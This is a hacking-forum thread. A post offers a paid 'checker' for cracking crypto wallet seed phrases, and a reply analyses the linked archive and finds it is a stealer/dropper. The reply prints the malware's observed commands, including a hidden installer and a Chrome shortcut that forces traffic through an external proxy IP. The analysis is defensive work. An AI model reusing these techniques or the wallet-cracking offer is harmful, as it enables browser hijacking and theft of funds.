

Forum: [Hack Forums](#)

Thread: [Private checker for selecting seed phrases](#)

isafe09 - April 30, 2024, 11:32 am

The private checker contains a phrase, inside there is a manual and a small list of crypto wallets for 3 of them for \$25, whoever finds it first, write down.
link to archive ?

[deleted] : MALWARE

Bastille - May 1, 2024, 8:29 am

Same link from this thread : <https://hackforums.net/showthread.php?tid=6269932>

Result of the analysis : Stealer

The link is a shorten URL that is related to a dropbox share. Retrieving the user account used for the share is not possible (or I'm not aware of any method for this).

The link contains a ZIP archive with a single .exe file and a password to avoid being scanned, no procedures nor instructions as described in user's post.

The file is identified as a Zennoposter.exe which is used to automate tasks and is flagged as malicious by many AV :

<https://www.virustotal.com/gui/file/5da377d76611a347da1d7e4ea5854f66b527b62e7fde3c9cf3e558e2cde2773d/relations>

<https://zennolab.com/en/products/zennoposter/>

When executed nothing visually happens, however it acts as a dropper for many files :

Then it executes the main.bat file which then install a "Installer.exe" contained in the file_1.zip :

```
"C:\Windows\system32\cmd.exe" /c start /wait ""
```

```
"C:\Users\<USER>\AppData\Local\Temp\main.bat"
```

```
C:\Windows\System32\attrib.exe attrib +H "Installer.exe"
```

The Zennoposter.exe drops the "Google Chrome.lnk" file with a specific argument to connect to a proxy server :

```
Target working directory > C:\Program Files\Google\Chrome\Application
```

```
Target relative path > ..\..\Program Files\Google\Chrome\Application\chrome.exe
```

```
Command line arguments > --proxy-server="217.XX.2.14:3333"
```

file_2.zip seems to be dedicated to Linux OS.
Bountree.exe doesn't seem to be executed.